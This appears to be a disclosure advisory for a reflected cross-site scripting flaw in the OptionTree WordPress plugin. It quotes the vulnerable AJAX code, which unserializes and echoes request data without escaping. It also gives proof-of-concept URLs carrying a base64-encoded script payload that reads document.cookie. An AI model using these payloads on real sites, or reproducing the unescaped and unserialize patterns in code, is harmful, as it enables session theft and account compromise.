Items from $_REQUEST['settings']
are not escaped.
So we can create $field['id']
which will be displayed without esc_attr
function.
File: option-tree\ot-loader.php
add_action( 'wp_ajax_add_list_item', array( $this, 'add_list_item' ) );
public function add_list_item() {
ot_list_item_view( $_REQUEST['name'], $_REQUEST['count'], array(), $_REQUEST['post_id'], $_REQUEST['get_option'], unserialize( ot_decode( $_REQUEST['settings'] ) ), $_REQUEST['type'] );
die();
}
File: option-tree\includes\ot-functions-admin.php
function ot_decode( $value ) {
$func = 'base64' . '_decode';
return $func( $value );
}
function ot_list_item_view( $name, $key, $list_item = array(), $post_id = 0, $get_option = '', $settings = array(), $type = '' ) {
/* required title setting */
$required_setting = array(
array(
'id' => 'title',
'label' => __( 'Title', 'option-tree' ),
'desc' => '',
'std' => '',
'type' => 'text',
'rows' => '',
'class' => 'option-tree-setting-title',
'post_type' => '',
'choices' => array()
)
);
/* load the old filterable slider settings */
if ( 'slider' == $type ) {
$settings = ot_slider_settings( $name );
}
/* if no settings array load the filterable list item settings */
if ( empty( $settings ) ) {
$settings = ot_list_item_settings( $name );
}
/* merge the two settings array */
$settings = array_merge( $required_setting, $settings );
echo '
<div class="option-tree-setting">
<div class="open">' . ( isset( $list_item['title'] ) ? esc_attr( $list_item['title'] ) : '' ) . '</div>
<div class="button-section">
<a href="javascript:void(0);" class="option-tree-setting-edit option-tree-ui-button button left-item" title="' . __( 'Edit', 'option-tree' ) . '">
<span class="icon ot-icon-pencil"></span>' . __( 'Edit', 'option-tree' ) . '
</a>
<a href="javascript:void(0);" class="option-tree-setting-remove option-tree-ui-button button button-secondary light right-item" title="' . __( 'Delete', 'option-tree' ) . '">
<span class="icon ot-icon-trash-o"></span>' . __( 'Delete', 'option-tree' ) . '
</a>
</div>
<div class="option-tree-setting-body">';
foreach( $settings as $field ) {
// Set field value
$field_value = isset( $list_item[$field['id']] ) ? $list_item[$field['id']] : '';
/* set default to standard value */
if ( isset( $field['std'] ) ) {
$field_value = ot_filter_std_value( $field_value, $field['std'] );
}
// filter the title label and description
if ( $field['id'] == 'title' ) {
// filter the label
$field['label'] = apply_filters( 'ot_list_item_title_label', $field['label'], $name );
// filter the description
$field['desc'] = apply_filters( 'ot_list_item_title_desc', $field['desc'], $name );
}
/* make life easier */
$_field_name = $get_option ? $get_option . '[' . $name . ']' : $name;
/* build the arguments array */
$_args = array(
'type' => $field['type'],
'field_id' => $name . '_' . $field['id'] . '_' . $key,
'field_name' => $_field_name . '[' . $key . '][' . $field['id'] . ']',
'field_value' => $field_value,
'field_desc' => isset( $field['desc'] ) ? $field['desc'] : '',
'field_std' => isset( $field['std'] ) ? $field['std'] : '',
'field_rows' => isset( $field['rows'] ) ? $field['rows'] : 10,
'field_post_type' => isset( $field['post_type'] ) && ! empty( $field['post_type'] ) ? $field['post_type'] : 'post',
'field_taxonomy' => isset( $field['taxonomy'] ) && ! empty( $field['taxonomy'] ) ? $field['taxonomy'] : 'category',
'field_min_max_step'=> isset( $field['min_max_step'] ) && ! empty( $field['min_max_step'] ) ? $field['min_max_step'] : '0,100,1',
'field_class' => isset( $field['class'] ) ? $field['class'] : '',
'field_condition' => isset( $field['condition'] ) ? $field['condition'] : '',
'field_operator' => isset( $field['operator'] ) ? $field['operator'] : 'and',
'field_choices' => isset( $field['choices'] ) && ! empty( $field['choices'] ) ? $field['choices'] : array(),
'field_settings' => isset( $field['settings'] ) && ! empty( $field['settings'] ) ? $field['settings'] : array(),
'post_id' => $post_id,
'get_option' => $get_option
);
$conditions = '';
/* setup the conditions */
if ( isset( $field['condition'] ) && ! empty( $field['condition'] ) ) {
/* doing magic on the conditions so they work in a list item */
$conditionals = explode( ',', $field['condition'] );
foreach( $conditionals as $condition ) {
$parts = explode( ':', $condition );
if ( isset( $parts[0] ) ) {
$field['condition'] = str_replace( $condition, $name . '_' . $parts[0] . '_' . $key . ':' . $parts[1], $field['condition'] );
}
}
$conditions = ' data-condition="' . $field['condition'] . '"';
$conditions.= isset( $field['operator'] ) && in_array( $field['operator'], array( 'and', 'AND', 'or', 'OR' ) ) ? ' data-operator="' . $field['operator'] . '"' : '';
}
// Build the setting CSS class
if ( ! empty( $_args['field_class'] ) ) {
$classes = explode( ' ', $_args['field_class'] );
foreach( $classes as $_key => $value ) {
$classes[$_key] = $value . '-wrap';
}
$class = 'format-settings ' . implode( ' ', $classes );
} else {
$class = 'format-settings';
}
/* option label */
echo '<div id="setting_' . $_args['field_id'] . '" class="' . $class . '"' . $conditions . '>';
/* don't show title with textblocks */
if ( $_args['type'] != 'textblock' && ! empty( $field['label'] ) ) {
echo '<div class="format-setting-label">';
echo '<h3 class="label">' . esc_attr( $field['label'] ) . '</h3>';
echo '</div>';
}
/* only allow simple textarea inside a list-item due to known DOM issues with wp_editor() */
if ( apply_filters( 'ot_override_forced_textarea_simple', false, $field['id'] ) == false && $_args['type'] == 'textarea' )
$_args['type'] = 'textarea-simple';
/* option body, list-item is not allowed inside another list-item */
if ( $_args['type'] !== 'list-item' && $_args['type'] !== 'slider' ) {
echo ot_display_by_type( $_args );
}
echo '</div>';
}
echo '</div>';
echo '</div>';
}
Similar issue exists also inside ot_social_links_view()
.
Proof of Concept
XSS visible for all logged users.
Because datas are base64 encoded and serialized Google Chrome XSS Auditor is bypassed.
http://wp/wp-admin/admin-ajax.php?action=add_list_item&settings=YToxOntpOjA7YToxOntzOjI6ImlkIjtzOjQzOiIiIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ%2BIjt9fQ%3D%3D
or
http://wp/wp-admin/admin-ajax.php?action=add_social_links&settings=YToxOntpOjA7YToxOntzOjI6ImlkIjtzOjQzOiIiIj48c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmNvb2tpZSk7PC9zY3JpcHQ%2BIjt9fQ%3D%3D
Timeline
- 02-12-2015: Discovered
- 02-12-2015: Vendor notified
- 10-02-2016: Version 2.6.0 released, issue resolved